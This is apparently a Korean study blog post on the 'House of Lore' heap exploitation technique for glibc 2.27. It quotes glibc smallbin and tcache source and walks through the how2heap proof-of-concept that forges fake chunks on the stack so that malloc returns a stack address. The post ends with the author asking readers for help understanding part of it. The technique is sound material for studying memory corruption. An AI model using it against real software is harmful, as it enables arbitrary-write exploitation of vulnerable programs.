오래간만에 글 씁니다.
small bin에 해당하는 chunk의 재할당 과정에서
공격자가 원하는 fake chunk로 할당을 시키는 기술이다.
재할당을 할 때 조건들만 충족을 시키면 간단하게 우회가 가능하다.
/***** smallbins bk check & unlink *****/
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
해당 조건은 unsorted bin attack의 과정과 거의 유사하다고 볼 수가 있다.
bck의 fd가 victim의 주소와 동일한지를 확인을 하고
이가 성립을 하지 않는다면 double linked list가 문제가 있다고 판단을 하여
에러가 나타난다.
해당 조건은
victim의 bk를 공격자가 원하는 fake chunk로 조작을 해주고,
해당 fake chunk의 fd를 victim의 주소를 작성을 하게 된다면 이 조건은 성립을 하게 될 것이다.
이후 과정을 살펴보자.
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
해당 글은 glibc 2.27,
즉 tcache가 도입된 후의 상황에 대해서 설명을 하고 있으므로,
small bin 범위의 chunk가 free를 했을 시 해당 chunk는 tcache로 우선 들어가게 된다.
이전에도 해당 범위의 bin에 들어가는 것이 아닌 tcache bin으로 들어가게 되면
우회를 하는 방법을 설명한 적이 있었다.
(※2022.01.01 - [SYSTEM HACKING/기법] - Fastbin double free in Glibc 2.3.x)
tcache는 7개 이상의 free된 chunk를 가지게 되면
tcache bin에 저장되는 것이 아닌 해당 범위에 속한 bin으로 들어가게 된다.
.
.
.
.
.
How2heap House of Lore
intptr_t *victim = malloc(0x100);
void *dummies[7];
for(int i=0; i<7; i++) dummies[i] = malloc(0x100);
intptr_t *victim_chunk = victim-2;
for(int i=0; i<6; i++) {
fake_freelist[i][3] = fake_freelist[i+1];
}
fake_freelist[6][3] = NULL;
malloc을 통해서 small범위의 heap을 할당한다.
이후 dummies를 통해서 7개의 heap을 할당을 해준다.
이는 이후 victim이 tcache bin으로 들어가는 것을 방지하기 위해서이다.
그 후 fake_freelist를 통해서 fake_freelist를 stack에 만들어준다.
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
stack_buffer_2[3] = (intptr_t *)fake_freelist[0];
void *p5 = malloc(1000);
그 후 stack에 있는 fake chunk의 bk와 fd를 조작을 해주게 된다.
첫 번째 fake chunk의 fd에는 victim의 주소를 bk에는 두번째 fake chunk의 주소를
두번째 fake chunk의 fd에는 첫번째 fake chunk의 주소를 bk에는 fake_freelist의 주소를 작성을 해준다.
그리고 large chunk를 할당을 해서 top chunk가 이전에 할당했던 small chunk들과
병합되지 않게끔 p5을 할당을 해준다.
for(int i=0; i<7; i++) free(dummies[i]);
free((void*)victim);
void *p2 = malloc(1200);
victim[1] = (intptr_t)stack_buffer_1;
dummies를 free를 통해서 tcache bin에 넣어준다.
이후 victim을 해제를 하게 되면 small bin으로 들어갈 것이라고 생각을 할 수도 있는데,
small bin과 large bin은 해제를 하면 unsorted bin에 들어간 후
다음 malloc이 이전의 해제한 크기와 같다면 unsorted bin에서 꺼내서 할당을 해주고,
그게 아닐 시에는 bin이 해당 크기가 속하는 bin에 들어간다.
이를 위해서 malloc(1200)을 해주게 된다면 victim이 정상적으로 small bin에 들어가게 될 것이다.
그러고 나서 victim의 bk를 첫번째 fake chunk의 주소로 바꿔주게 되면,
정상적으로 victim이 stack을 가리키게 된다.
for(int i=0; i<7; i++) malloc(0x100);
void *p3 = malloc(0x100);
char *p4 = malloc(0x100);
그리고 나서 malloc을 통해서 dummies chunk를 tcache에서 빼준다.
그리고 malloc을 통해서 victim을 할당을 하고,
이후 힙 할당을 하게 되면 victim의 bk가 가리키는 fake chunk가 할당이 된다.
fake chunk의 값을 공격자가 원하는 값으로 변경을 하면
공격자가 원하는 행동이 가능하게 된다.
.
.
.
.
.
아직도 fake_freelist를 왜 만들어야 하는지를 모르겠다.
how2heap에는 smallbin이 tcache로 변경되기 위한 메커니즘 때문이라고 하는데...
이해가 잘 안 된다...
아는 사람이 있으면... 도움! 부탁드립니다.